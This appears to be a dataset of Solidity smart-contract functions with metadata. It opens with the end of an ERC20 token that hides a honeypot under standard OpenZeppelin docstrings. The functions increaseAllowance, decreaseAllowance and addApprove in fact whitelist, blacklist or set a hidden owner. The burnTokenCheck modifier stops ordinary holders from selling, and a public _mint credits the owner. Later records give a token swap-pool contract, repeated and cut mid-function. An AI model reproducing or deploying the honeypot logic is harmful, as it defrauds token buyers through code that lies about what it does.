virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { uint256 ergdf = 3; uint256 ergdffdtg = 532; transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; uint256 ergdf = 3; uint256 ergdffdtg = 532; _approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IER C20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
_burn
function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); }
/** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */
NatSpecMultiLine
v0.6.12+commit.27d51765
MPL-2.0
ipfs://024ac6831d2edc74a7d3d00f70c0543024e8953bffbbac253bc19a080d5b40b2
{ "func_code_index": [ 10348, 10771 ] }
12,418
HappyTokenPool
contracts/ito.sol
0x198457da5e7f7b7fd916006837417dcf663f692d
Solidity
HappyTokenPool
contract HappyTokenPool { struct Pool { uint256 packed1; // qualification_address(160) the smart contract address to verify qualification // hash(40) start_time_delta(28) // expiration_time_delta(28) BIG ENDIAN uint256 packed2; // total_tokens(128) limit(128) uint48 unlock_time; // unlock_time + base_time = real_time address creator; address token_address; // the target token address address[] exchange_addrs; // a list of ERC20 addresses for swapping uint128[] exchanged_tokens; // a list of amounts of swapped tokens uint128[] ratios; // a list of swap ratios // length = 2 * exchange_addrs.length // [address1, target, address2, target, ...] // e.g. [1, 10] // represents 1 tokenA to swap 10 target token // note: each ratio pair needs to be coprime mapping(address => uint256) swapped_map; // swapped amount of an address } struct Packed { uint256 packed1; uint256 packed2; } // swap pool filling success event event FillSuccess ( uint256 total, bytes32 id, address creator, uint256 creation_time, address token_address, string message ); // swap success event event SwapSuccess ( bytes32 id, address swapper, address from_address, address to_address, uint256 from_value, uint256 to_value ); // claim success event event ClaimSuccess ( bytes32 id, address claimer, uint256 timestamp, uint256 to_value, address token_address ); // swap pool destruct success event event DestructSuccess ( bytes32 id, address token_address, uint256 remaining_balance, uint128[] exchanged_values ); // single token withdrawl from a swap pool success even event WithdrawSuccess ( bytes32 id, address token_address, uint256 withdraw_balance ); modifier creatorOnly { require(msg.sender == contract_creator, "Contract Creator Only"); _; } using SafeERC20 for IERC20; uint32 nonce; uint224 base_time; // timestamp = base_time + delta to save gas address public contract_creator; mapping(bytes32 => Pool) pool_by_id; // maps an id to a Pool instance string constant private magic = "Prince Philip, Queen Elizabeth II's husband, has died aged 99, \ Buckingham Palace has announced. A statement issued by the palace just after midday spoke of the \ Queen's deep sorrow following his death at Windsor Castle on Friday morning. The Duke of Edinbur"; bytes32 private seed; address DEFAULT_ADDRESS = 0x0000000000000000000000000000000000000000; // a universal address constructor() { contract_creator = msg.sender; seed = keccak256(abi.encodePacked(magic, block.timestamp, contract_creator)); base_time = 1616976000; // 00:00:00 03/30/2021 GMT(UTC+0) } /** * @dev * fill_pool() creates a swap pool with specific parameters from input * _hash sha3-256(password) * _start start time delta, real start time = base_time + _start * _end end time delta, real end time = base_time + _end * message swap pool creation message, only stored in FillSuccess event * _exchange_addrs swap token list (0x0 for ETH, only supports ETH and ERC20 now) * _ratios swap pair ratio list * _unlock_time unlock time delta real unlock time = base_time + _unlock_time * _token_addr swap target token address * _total_tokens target token total swap amount * _limit target token single swap limit * _qualification the qualification contract address based on IQLF to determine qualification * This function takes the above parameters and creates the pool. _total_tokens of the target token * will be successfully transferred to this contract securely on a successful run of this function. **/ function fill_pool (bytes32 _hash, uint256 _start, uint256 _end, string memory message, address[] memory _exchange_addrs, uint128[] memory _ratios, uint256 _unlock_time, address _token_addr, uint256 _total_tokens, uint256 _limit, address _qualification) public payable { nonce ++; require(_start < _end, "Start time should be earlier than end time."); require(_end < _unlock_time || _unlock_time == 0, "End time should be earlier than unlock time"); require(_limit <= _total_tokens, "Limit needs to be less than or equal to the total supply"); require(_total_tokens < 2 ** 128, "No more than 2^128 tokens(incluidng decimals) allowed"); require(IERC20(_token_addr).allowance(msg.sender, address(this)) >= _total_tokens, "Insuffcient allowance"); require(_exchange_addrs.length > 0, "Exchange token addresses need to be set"); require(_ratios.length == 2 * _exchange_addrs.length, "Size of ratios = 2 * size of exchange_addrs"); bytes32 _id = keccak256(abi.encodePacked(msg.sender, block.timestamp, nonce, seed)); Pool storage pool = pool_by_id[_id]; pool.packed1 = wrap1(_qualification, _hash, _start, _end); // 256 bytes detail in wrap1() pool.packed2 = wrap2(_total_tokens, _limit); // 256 bytes detail in wrap2() pool.unlock_time = uint48(_unlock_time); // 48 bytes unlock_time 0 -> unlocked pool.creator = msg.sender; // 160 bytes pool creator pool.exchange_addrs = _exchange_addrs; // 160 bytes target token pool.token_address = _token_addr; // 160 bytes target token address // Init each token swapped amount to 0 for (uint256 i = 0; i < _exchange_addrs.length; i++) { if (_exchange_addrs[i] != DEFAULT_ADDRESS) { // TODO: Is there a better way to validate an ERC20? require(IERC20(_exchange_addrs[i]).totalSupply() > 0, "Not a valid ERC20"); } pool.exchanged_tokens.push(0); } // Make sure each ratio is co-prime to prevent overflow for (uint256 i = 0; i < _ratios.length; i+= 2) { uint256 divA = SafeMath.div(_ratios[i], _ratios[i+1]); // Non-zero checked by SafteMath.div uint256 divB = SafeMath.div(_ratios[i+1], _ratios[i]); // Non-zero checked by SafteMath.div if (_ratios[i] == 1) { require(divB == _ratios[i+1]); } else if (_ratios[i+1] == 1) { require(divA == _ratios[i]); } else { // if a and b are co-prime, then a / b * b != a and b / a * a != b require(divA * _ratios[i+1] != _ratios[i]); require(divB * _ratios[i] != _ratios[i+1]); } } pool.ratios = _ratios; // 256 * k IERC20(_token_addr).safeTransferFrom(msg.sender, address(this), _total_tokens); emit FillSuccess(_total_tokens, _id, msg.sender, block.timestamp, _token_addr, message); } /** * @dev * swap() allows users to swap tokens in a swap pool * id swap pool id * verification sha3-256(sha3-256(password)[:40]+swapper_address) * validation sha3-256(swapper_address) * exchange_addr_i the index of the exchange address of the list * input_total the input amount of the specific token * This function is called by the swapper who approves the specific ERC20 or directly transfer the ETH * first and wants to swap the desired amount of the target token. The swapped amount is calculated * based on the pool ratio. After swap successfully, the same account can not swap the same pool again. **/ function swap (bytes32 id, bytes32 verification, bytes32 validation, uint256 exchange_addr_i, uint128 input_total) public payable returns (uint256 swapped) { Pool storage pool = pool_by_id[id]; Packed memory packed = Packed(pool.packed1, pool.packed2); require ( IQLF( address( uint160(unbox(packed.packed1, 0, 160))) ).logQualified(msg.sender, uint256(unbox(packed.packed1, 200, 28) + base_time) ) == true, "Not Qualified" ); require (unbox(packed.packed1, 200, 28) + base_time < block.timestamp, "Not started."); require (unbox(packed.packed1, 228, 28) + base_time > block.timestamp, "Expired."); // sha3(sha3(passowrd)[:40] + msg.sender) so that the raw password will never appear in the contract require (verification == keccak256(abi.encodePacked(unbox(packed.packed1, 160, 40), msg.sender)), 'Wrong Password'); // sha3(msg.sender) to protect from front runs (but this is kinda naive since the contract is open sourced) require (validation == keccak256(abi.encodePacked(msg.sender)), "Validation Failed"); uint256 total_tokens = unbox(packed.packed2, 0, 128); // revert if the pool is empty require (total_tokens > 0, "Out of Stock"); address exchange_addr = pool.exchange_addrs[exchange_addr_i]; uint256 ratioA = pool.ratios[exchange_addr_i*2]; uint256 ratioB = pool.ratios[exchange_addr_i*2 + 1]; // check if the input is enough for the desired transfer if (exchange_addr == DEFAULT_ADDRESS) { require(msg.value == input_total, 'No enough ether.'); } else { uint256 allowance = IERC20(exchange_addr).allowance(msg.sender, address(this)); require(allowance >= input_total, 'No enough allowance.'); } uint256 swapped_tokens; // this calculation won't be overflow thanks to the SafeMath and the co-prime test swapped_tokens = SafeMath.div(SafeMath.mul(input_total, ratioB), ratioA); // 2^256=10e77 >> 10e18 * 10e18 require(swapped_tokens > 0, "Better not draw water with a sieve"); uint256 limit = unbox(packed.packed2, 128, 128); if (swapped_tokens > limit) { // don't be greedy - you can only get at most limit tokens swapped_tokens = limit; input_total = uint128(SafeMath.div(SafeMath.mul(limit, ratioA), ratioB)); // Update input_total } else if (swapped_tokens > total_tokens) { // if the left tokens are not enough swapped_tokens = total_tokens; input_total = uint128(SafeMath.div(SafeMath.mul(total_tokens, ratioA), ratioB)); // Update input_total // return the eth if (exchange_addr == DEFAULT_ADDRESS) payable(msg.sender).transfer(msg.value - input_total); } require(swapped_tokens <= limit); // make sure again pool.exchanged_tokens[exchange_addr_i] = uint128(SafeMath.add(pool.exchanged_tokens[exchange_addr_i], input_total)); // update exchanged // penalize greedy attackers by placing duplication check at the very last require (pool.swapped_map[msg.sender] == 0, "Already swapped"); // update the remaining tokens and swapped token mapping pool.packed2 = rewriteBox(packed.packed2, 0, 128, SafeMath.sub(total_tokens, swapped_tokens)); pool.swapped_map[msg.sender] = swapped_tokens; // transfer the token after state changing // ETH comes with the tx, but ERC20 does not - INPUT if (exchange_addr != DEFAULT_ADDRESS) { IERC20(exchange_addr).safeTransferFrom(msg.sender, address(this), input_total); } // Swap success event emit SwapSuccess(id, msg.sender, exchange_addr, pool.token_address, input_total, swapped_tokens); // if unlock_time == 0, transfer the swapped tokens to the recipient address (msg.sender) - OUTPUT // if not, claim() needs to be called to get the token if (pool.unlock_time == 0) { transfer_token(pool.token_address, address(this), msg.sender, swapped_tokens); emit ClaimSuccess(id, msg.sender, block.timestamp, swapped_tokens, pool.token_address); } return swapped_tokens; } /** * check_availability() returns a bunch of pool info given a pool id * id swap pool id * this function returns 1. exchange_addrs that can be used to determine the index * 2. remaining target tokens * 3. if started * 4. if ended * 5. swapped amount of the query address * 5. exchanged amount of each token **/ function check_availability (bytes32 id) external view returns (address[] memory exchange_addrs, uint256 remaining, bool started, bool expired, bool unlocked, uint256 unlock_time, uint256 swapped, uint128[] memory exchanged_tokens) { Pool storage pool = pool_by_id[id]; return ( pool.exchange_addrs, // exchange_addrs 0x0 means destructed unbox(pool.packed2, 0, 128), // remaining block.timestamp > unbox(pool.packed1, 200, 28) + base_time, // started block.timestamp > unbox(pool.packed1, 228, 28) + base_time, // expired block.timestamp > pool.unlock_time + base_time, // unlocked pool.unlock_time + base_time, // unlock_time pool.swapped_map[msg.sender], // swapped number pool.exchanged_tokens // exchanged tokens ); } function claim(bytes32[] memory ito_ids) public { uint256 claimed_amount; for (uint256 i = 0; i < ito_ids.length; i++) { Pool storage pool = pool_by_id[ito_ids[i]]; if (pool.unlock_time + base_time > block.timestamp) continue; claimed_amount = pool.swapped_map[msg.sender]; if (claimed_amount == 0) continue; pool.swapped_map[msg.sender] = 0; transfer_token(pool.token_address, address(this), msg.sender, claimed_amount); emit ClaimSuccess(ito_ids[i], msg.sender, block.timestamp, claimed_amount, pool.token_address); } } function setUnlockTime(bytes32 id, uint256 _unlock_time) public { Pool storage pool = pool_by_id[id]; require(pool.creator == msg.sender, "Pool Creator Only"); pool.unlock_time = uint48(_unlock_time); } /** * destruct() destructs the given pool given the pool id * id swap pool id * this function can only be called by the pool creator. after validation, it transfers all the remaining token * (if any) and all the swapped tokens to the pool creator. it will then destruct the pool by reseting almost * all the variables to zero to get the gas refund. * note that this function may not work if a pool needs to transfer over ~200 tokens back to the address due to * the block gas limit. we have another function withdraw() to help the pool creator to withdraw a single token **/ function destruct (bytes32 id) public { Pool storage pool = pool_by_id[id]; require(msg.sender == pool.creator, "Only the pool creator can destruct."); uint256 expiration = unbox(pool.packed1, 228, 28) + base_time; uint256 remaining_tokens = unbox(pool.packed2, 0, 128); // only after expiration or the pool is empty require(expiration <= block.timestamp || remaining_tokens == 0, "Not expired yet"); // if any left in the pool if (remaining_tokens != 0) { transfer_token(pool.token_address, address(this), msg.sender, remaining_tokens); } // transfer the swapped tokens accordingly // note this loop may exceed the block gas limit so if >200 exchange_addrs this may not work for (uint256 i = 0; i < pool.exchange_addrs.length; i++) { if (pool.exchanged_tokens[i] > 0) { // ERC20 if (pool.exchange_addrs[i] != DEFAULT_ADDRESS) transfer_token(pool.exchange_addrs[i], address(this), msg.sender, pool.exchanged_tokens[i]); // ETH else payable(msg.sender).transfer(pool.exchanged_tokens[i]); } } emit DestructSuccess(id, pool.token_address, remaining_tokens, pool.exchanged_tokens); // Gas Refund pool.packed1 = 0; pool.packed2 = 0; pool.creator = DEFAULT_ADDRESS; for (uint256 i = 0; i < pool.exchange_addrs.length; i++) { pool.exchange_addrs[i] = DEFAULT_ADDRESS; pool.exchanged_tokens[i] = 0; pool.ratios[i*2] = 0; pool.ratios[i*2+1] = 0; } } /** * withdraw() transfers out a single token after a pool is expired or empty * id swap pool id * addr_i withdraw token index * this function can only be called by the pool creator. after validation, it transfers the addr_i th token * out to the pool creator address. **/ function withdraw (bytes32 id, uint256 addr_i) public { Pool storage pool = pool_by_id[id]; require(msg.sender == pool.creator, "Only the pool creator can withdraw."); uint256 withdraw_balance = pool.exchanged_tokens[addr_i]; require(withdraw_balance > 0, "None of this token left"); uint256 expiration = unbox(pool.packed1, 228, 28) + base_time; uint256 remaining_tokens = unbox(pool.packed2, 0, 128); // only after expiration or the pool is empty require(expiration <= block.timestamp || remaining_tokens == 0, "Not expired yet"); address token_address = pool.exchange_addrs[addr_i]; // ERC20 if (token_address != DEFAULT_ADDRESS) transfer_token(token_address, address(this), msg.sender, withdraw_balance); // ETH else payable(msg.sender).transfer(withdraw_balance); // clear the record pool.exchanged_tokens[addr_i] = 0; emit WithdrawSuccess(id, token_address, withdraw_balance); } // helper functions TODO: migrate this to a helper file /** * _qualification the smart contract address to verify qualification 160 * _hash sha3-256(password) 40 * _start start time delta 28 * _end end time delta 28 * wrap1() inserts the above variables into a 32-word block **/ function wrap1 (address _qualification, bytes32 _hash, uint256 _start, uint256 _end) internal pure returns (uint256 packed1) { uint256 _packed1 = 0; _packed1 |= box(0, 160, uint256(uint160(_qualification))); // _qualification = 160 bits _packed1 |= box(160, 40, uint256(_hash) >> 216); // hash = 40 bits (safe?) _packed1 |= box(200, 28, _start); // start_time = 28 bits _packed1 |= box(228, 28, _end); // expiration_time = 28 bits return _packed1; } /** * _total_tokens target remaining 128 * _limit single swap limit 128 * wrap2() inserts the above variables into a 32-word block **/ function wrap2 (uint256 _total_tokens, uint256 _limit) internal pure returns (uint256 packed2) { uint256 _packed2 = 0; _packed2 |= box(0, 128, _total_tokens); // total_tokens = 128 bits ~= 3.4e38 _packed2 |= box(128, 128, _limit); // limit = 128 bits return _packed2; } /** * position position in a memory block * size data size * data data * box() inserts the data in a 256bit word with the given position and returns it * data is checked by validRange() to make sure it is not over size **/ function box (uint16 position, uint16 size, uint256 data) internal pure returns (uint256 boxed) { require(validRange(size, data), "Value out of range BOX"); assembly { // data << position boxed := shl(position, data) } } /** * position position in a memory block * size data size * base base data * unbox() extracts the data out of a 256bit word with the given position and returns it * base is checked by validRange() to make sure it is not over size **/ function unbox (uint256 base, uint16 position, uint16 size) internal pure returns (uint256 unboxed) { require(validRange(256, base), "Value out of range UNBOX"); assembly { // (((1 << size) - 1) & base >> position) unboxed := and(sub(shl(size, 1), 1), shr(position, base)) } } /** * size data size * data data * validRange() checks if the given data is over the specified data size **/ function validRange (uint16 size, uint256 data) internal pure returns(bool ifValid) { assembly { // 2^size > data or size ==256 ifValid := or(eq(size, 256), gt(shl(size, 1), data)) } } /** * _box 32byte data to be modified * position position in a memory block * size data size * data data to be inserted * rewriteBox() updates a 32byte word with a data at the given position with the specified size **/ function rewriteBox (uint256 _box, uint16 position, uint16 size, uint256 data) internal pure returns (uint256 boxed) { assembly { // mask = ~((1 << size - 1) << position) // _box = (mask & _box) | ()data << position) boxed := or( and(_box, not(shl(position, sub(shl(size, 1), 1)))), shl(position, data)) } } /** * token_address ERC20 address * sender_address sender address * recipient_address recipient address * amount transfer amount * transfer_token() transfers a given amount of ERC20 from the sender address to the recipient address **/ function transfer_token (address token_address, address sender_address, address recipient_address, uint256 amount) internal { require(IERC20(token_address).balanceOf(sender_address) >= amount, "Balance not enough"); IERC20(token_address).safeTransfer(recipient_address, amount); } }
fill_pool
function fill_pool (bytes32 _hash, uint256 _start, uint256 _end, string memory message, address[] memory _exchange_addrs, uint128[] memory _ratios, uint256 _unlock_time, address _token_addr, uint256 _total_tokens, uint256 _limit, address _qualification) public payable { nonce ++; require(_start < _end, "Start time should be earlier than end time."); require(_end < _unlock_time || _unlock_time == 0, "End time should be earlier than unlock time"); require(_limit <= _total_tokens, "Limit needs to be less than or equal to the total supply"); require(_total_tokens < 2 ** 128, "No more than 2^128 tokens(incluidng decimals) allowed"); require(IERC20(_token_addr).allowance(msg.sender, address(this)) >= _total_tokens, "Insuffcient allowance"); require(_exchange_addrs.length > 0, "Exchange token addresses need to be set"); require(_ratios.length == 2 * _exchange_addrs.length, "Size of ratios = 2 * size of exchange_addrs"); bytes32 _id = keccak256(abi.encodePacked(msg.sender, block.timestamp, nonce, seed)); Pool storage pool = pool_by_id[_id]; pool.packed1 = wrap1(_qualification, _hash, _start, _end); // 256 bytes detail in wrap1() pool.packed2 = wrap2(_total_tokens, _limit); // 256 bytes detail in wrap2() pool.unlock_time = uint48(_unlock_time); // 48 bytes unlock_time 0 -> unlocked pool.creator = msg.sender; // 160 bytes pool creator pool.exchange_addrs = _exchange_addrs; // 160 bytes target token pool.token_address = _token_addr; // 160 bytes target token address // Init each token swapped amount to 0 for (uint256 i = 0; i < _exchange_addrs.length; i++) { if (_exchange_addrs[i] != DEFAULT_ADDRESS) { // TODO: Is there a better way to validate an ERC20? require(IERC20(_exchange_addrs[i]).totalSupply() > 0, "Not a valid ERC20"); } pool.exchanged_tokens.push(0); } // Make sure each ratio is co-prime to prevent overflow for (uint256 i = 0; i < _ratios.length; i+= 2) { uint256 divA = SafeMath.div(_ratios[i], _ratios[i+1]); // Non-zero checked by SafteMath.div uint256 divB = SafeMath.div(_ratios[i+1], _ratios[i]); // Non-zero checked by SafteMath.div if (_ratios[i] == 1) { require(divB == _ratios[i+1]); } else if (_ratios[i+1] == 1) { require(divA == _ratios[i]); } else { // if a and b are co-prime, then a / b * b != a and b / a * a != b require(divA * _ratios[i+1] != _ratios[i]); require(divB * _ratios[i] != _ratios[i+1]); } } pool.ratios = _ratios; // 256 * k IERC20(_token_addr).safeTransferFrom(msg.sender, address(this), _total_tokens); emit FillSuccess(_total_tokens, _id, msg.sender, block.timestamp, _token_addr, message); }
/** * @dev * fill_pool() creates a swap pool with specific parameters from input * _hash sha3-256(password) * _start start time delta, real start time = base_time + _start * _end end time delta, real end time = base_time + _end * message swap pool creation message, only stored in FillSuccess event * _exchange_addrs swap token list (0x0 for ETH, only supports ETH and ERC20 now) * _ratios swap pair ratio list * _unlock_time unlock time delta real unlock time = base_time + _unlock_time * _token_addr swap target token address * _total_tokens target token total swap amount * _limit target token single swap limit * _qualification the qualification contract address based on IQLF to determine qualification * This function takes the above parameters and creates the pool. _total_tokens of the target token * will be successfully transferred to this contract securely on a successful run of this function. **/
NatSpecMultiLine
v0.8.1+commit.df193b15
MIT
ipfs://514567ac97ce2a52346891fb1fa79398719dfc3625c962f89ef81e693295dbc7
{ "func_code_index": [ 4579, 7896 ] }
12,419
HappyTokenPool
contracts/ito.sol
0x198457da5e7f7b7fd916006837417dcf663f692d
Solidity
HappyTokenPool
contract HappyTokenPool { struct Pool { uint256 packed1; // qualification_address(160) the smart contract address to verify qualification // hash(40) start_time_delta(28) // expiration_time_delta(28) BIG ENDIAN uint256 packed2; // total_tokens(128) limit(128) uint48 unlock_time; // unlock_time + base_time = real_time address creator; address token_address; // the target token address address[] exchange_addrs; // a list of ERC20 addresses for swapping uint128[] exchanged_tokens; // a list of amounts of swapped tokens uint128[] ratios; // a list of swap ratios // length = 2 * exchange_addrs.length // [address1, target, address2, target, ...] // e.g. [1, 10] // represents 1 tokenA to swap 10 target token // note: each ratio pair needs to be coprime mapping(address => uint256) swapped_map; // swapped amount of an address } struct Packed { uint256 packed1; uint256 packed2; } // swap pool filling success event event FillSuccess ( uint256 total, bytes32 id, address creator, uint256 creation_time, address token_address, string message ); // swap success event event SwapSuccess ( bytes32 id, address swapper, address from_address, address to_address, uint256 from_value, uint256 to_value ); // claim success event event ClaimSuccess ( bytes32 id, address claimer, uint256 timestamp, uint256 to_value, address token_address ); // swap pool destruct success event event DestructSuccess ( bytes32 id, address token_address, uint256 remaining_balance, uint128[] exchanged_values ); // single token withdrawl from a swap pool success even event WithdrawSuccess ( bytes32 id, address token_address, uint256 withdraw_balance ); modifier creatorOnly { require(msg.sender == contract_creator, "Contract Creator Only"); _; } using SafeERC20 for IERC20; uint32 nonce; uint224 base_time; // timestamp = base_time + delta to save gas address public contract_creator; mapping(bytes32 => Pool) pool_by_id; // maps an id to a Pool instance string constant private magic = "Prince Philip, Queen Elizabeth II's husband, has died aged 99, \ Buckingham Palace has announced. A statement issued by the palace just after midday spoke of the \ Queen's deep sorrow following his death at Windsor Castle on Friday morning. The Duke of Edinbur"; bytes32 private seed; address DEFAULT_ADDRESS = 0x0000000000000000000000000000000000000000; // a universal address constructor() { contract_creator = msg.sender; seed = keccak256(abi.encodePacked(magic, block.timestamp, contract_creator)); base_time = 1616976000; // 00:00:00 03/30/2021 GMT(UTC+0) } /** * @dev * fill_pool() creates a swap pool with specific parameters from input * _hash sha3-256(password) * _start start time delta, real start time = base_time + _start * _end end time delta, real end time = base_time + _end * message swap pool creation message, only stored in FillSuccess event * _exchange_addrs swap token list (0x0 for ETH, only supports ETH and ERC20 now) * _ratios swap pair ratio list * _unlock_time unlock time delta real unlock time = base_time + _unlock_time * _token_addr swap target token address * _total_tokens target token total swap amount * _limit target token single swap limit * _qualification the qualification contract address based on IQLF to determine qualification * This function takes the above parameters and creates the pool. _total_tokens of the target token * will be successfully transferred to this contract securely on a successful run of this function. **/ function fill_pool (bytes32 _hash, uint256 _start, uint256 _end, string memory message, address[] memory _exchange_addrs, uint128[] memory _ratios, uint256 _unlock_time, address _token_addr, uint256 _total_tokens, uint256 _limit, address _qualification) public payable { nonce ++; require(_start < _end, "Start time should be earlier than end time."); require(_end < _unlock_time || _unlock_time == 0, "End time should be earlier than unlock time"); require(_limit <= _total_tokens, "Limit needs to be less than or equal to the total supply"); require(_total_tokens < 2 ** 128, "No more than 2^128 tokens(incluidng decimals) allowed"); require(IERC20(_token_addr).allowance(msg.sender, address(this)) >= _total_tokens, "Insuffcient allowance"); require(_exchange_addrs.length > 0, "Exchange token addresses need to be set"); require(_ratios.length == 2 * _exchange_addrs.length, "Size of ratios = 2 * size of exchange_addrs"); bytes32 _id = keccak256(abi.encodePacked(msg.sender, block.timestamp, nonce, seed)); Pool storage pool = pool_by_id[_id]; pool.packed1 = wrap1(_qualification, _hash, _start, _end); // 256 bytes detail in wrap1() pool.packed2 = wrap2(_total_tokens, _limit); // 256 bytes detail in wrap2() pool.unlock_time = uint48(_unlock_time); // 48 bytes unlock_time 0 -> unlocked pool.creator = msg.sender; // 160 bytes pool creator pool.exchange_addrs = _exchange_addrs; // 160 bytes target token pool.token_address = _token_addr; // 160 bytes target token address // Init each token swapped amount to 0 for (uint256 i = 0; i < _exchange_addrs.length; i++) { if (_exchange_addrs[i] != DEFAULT_ADDRESS) { // TODO: Is there a better way to validate an ERC20? require(IERC20(_exchange_addrs[i]).totalSupply() > 0, "Not a valid ERC20"); } pool.exchanged_tokens.push(0); } // Make sure each ratio is co-prime to prevent overflow for (uint256 i = 0; i < _ratios.length; i+= 2) { uint256 divA = SafeMath.div(_ratios[i], _ratios[i+1]); // Non-zero checked by SafteMath.div uint256 divB = SafeMath.div(_ratios[i+1], _ratios[i]); // Non-zero checked by SafteMath.div if (_ratios[i] == 1) { require(divB == _ratios[i+1]); } else if (_ratios[i+1] == 1) { require(divA == _ratios[i]); } else { // if a and b are co-prime, then a / b * b != a and b / a * a != b require(divA * _ratios[i+1] != _ratios[i]); require(divB * _ratios[i] != _ratios[i+1]); } } pool.ratios = _ratios; // 256 * k IERC20(_token_addr).safeTransferFrom(msg.sender, address(this), _total_tokens); emit FillSuccess(_total_tokens, _id, msg.sender, block.timestamp, _token_addr, message); } /** * @dev * swap() allows users to swap tokens in a swap pool * id swap pool id * verification sha3-256(sha3-256(password)[:40]+swapper_address) * validation sha3-256(swapper_address) * exchange_addr_i the index of the exchange address of the list * input_total the input amount of the specific token * This function is called by the swapper who approves the specific ERC20 or directly transfer the ETH * first and wants to swap the desired amount of the target token. The swapped amount is calculated * based on the pool ratio. After swap successfully, the same account can not swap the same pool again. **/ function swap (bytes32 id, bytes32 verification, bytes32 validation, uint256 exchange_addr_i, uint128 input_total) public payable 